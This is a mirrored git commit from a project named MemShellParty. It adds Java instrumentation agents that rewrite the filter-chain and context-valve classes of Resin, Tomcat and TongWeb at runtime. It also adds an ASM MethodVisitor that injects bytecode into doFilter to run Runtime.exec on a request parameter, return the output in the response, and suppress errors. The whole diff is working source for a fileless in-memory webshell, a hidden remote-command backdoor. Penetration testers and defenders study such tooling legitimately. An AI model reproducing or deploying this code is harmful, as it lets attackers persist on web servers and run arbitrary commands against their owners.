mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command agent with asm on filterChain and contextValve (#51)
This commit is contained in:
ReaJason
@@ -12,6 +12,7 @@ java {
|
||||
|
||||
dependencies {
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
implementation 'org.ow2.asm:asm-commons'
|
||||
implementation 'javax.servlet:javax.servlet-api'
|
||||
implementation 'javax.websocket:javax.websocket-api'
|
||||
}
|
||||
+96
@@ -0,0 +1,96 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ResinFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new ResinFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TomcatContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TomcatContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+96
@@ -0,0 +1,96 @@
|
||||
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TomcatFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TomcatFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TomcatFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/StandardContextValve";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/StandardContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TongWebContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TongWebContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+98
@@ -0,0 +1,98 @@
|
||||
package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class TongWebFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/tongweb/web/thor/core/ApplicationFilterChain";
|
||||
private static final String TARGET_CLASS_1 = "com/tongweb/catalina/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getDeclaredConstructor(MethodVisitor.class);
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public TongWebFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className) || TARGET_CLASS_1.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
return (MethodVisitor) constructor.newInstance(mv);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new TongWebFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)
|
||||
|| TARGET_CLASS_1.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class CommandFilterChainAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
|
||||
public CommandFilterChainAsmMethodVisitor(MethodVisitor mv) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
// Define our parameter name
|
||||
mv.visitLdcInsn("paramName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 3); // Store "paramName" in local var 3
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
// Get the parameter from request: request.getParameter(paramName)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request (first param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getParameter");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
|
||||
// Invoke the getParameter method
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 1); // Load request object
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 3); // Load paramName
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 4); // Store cmd in local var 4
|
||||
|
||||
// Check if cmd is not null
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 4);
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime",
|
||||
"()Ljava/lang/Runtime;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 4); // Load cmd
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec",
|
||||
"(Ljava/lang/String;)Ljava/lang/Process;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 5); // Store Process in local var 5
|
||||
|
||||
// Get input stream: InputStream inputStream = exec.getInputStream();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 5); // Load Process
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream",
|
||||
"()Ljava/io/InputStream;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 6); // Store InputStream in local var 6
|
||||
|
||||
// Get response output stream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response (second param)
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getOutputStream");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 2); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 7); // Store OutputStream in local var 7
|
||||
|
||||
// Create buffer: byte[] buf = new byte[8192];
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
|
||||
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 8); // Store byte[] in local var 8
|
||||
|
||||
// While loop to read and write data
|
||||
Label loopStart = new Label();
|
||||
Label loopEnd = new Label();
|
||||
|
||||
// Start of loop
|
||||
mv.visitLabel(loopStart);
|
||||
|
||||
// Read data: inputStream.read(buf)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 6); // Load inputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read",
|
||||
"([B)I", false);
|
||||
mv.visitVarInsn(Opcodes.ISTORE, 9); // Store length in local var 9
|
||||
|
||||
// Check if length == -1
|
||||
mv.visitVarInsn(Opcodes.ILOAD, 9);
|
||||
mv.visitInsn(Opcodes.ICONST_M1);
|
||||
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
|
||||
|
||||
// Write data: outputStream.write(buf, 0, length)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 7); // Load outputStream
|
||||
mv.visitVarInsn(Opcodes.ALOAD, 8); // Load buffer
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ILOAD, 9); // Load length
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write",
|
||||
"([BII)V", false);
|
||||
|
||||
// Go back to start of loop
|
||||
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
|
||||
|
||||
// End of loop
|
||||
mv.visitLabel(loopEnd);
|
||||
|
||||
// Return from the method without calling original doFilter
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
|
||||
// If cmd is null, continue with original method
|
||||
mv.visitLabel(ifNullLabel);
|
||||
|
||||
// End of try block
|
||||
mv.visitLabel(tryEnd);
|
||||
|
||||
// Skip catch block if we didn't enter it
|
||||
Label afterCatch = new Label();
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
|
||||
|
||||
// Start of catch block
|
||||
mv.visitLabel(catchHandler);
|
||||
// The exception is now on the stack
|
||||
mv.visitVarInsn(Opcodes.ASTORE, 10); // Store exception in local var 10 and discard it
|
||||
|
||||
// End of catch block
|
||||
mv.visitLabel(afterCatch);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user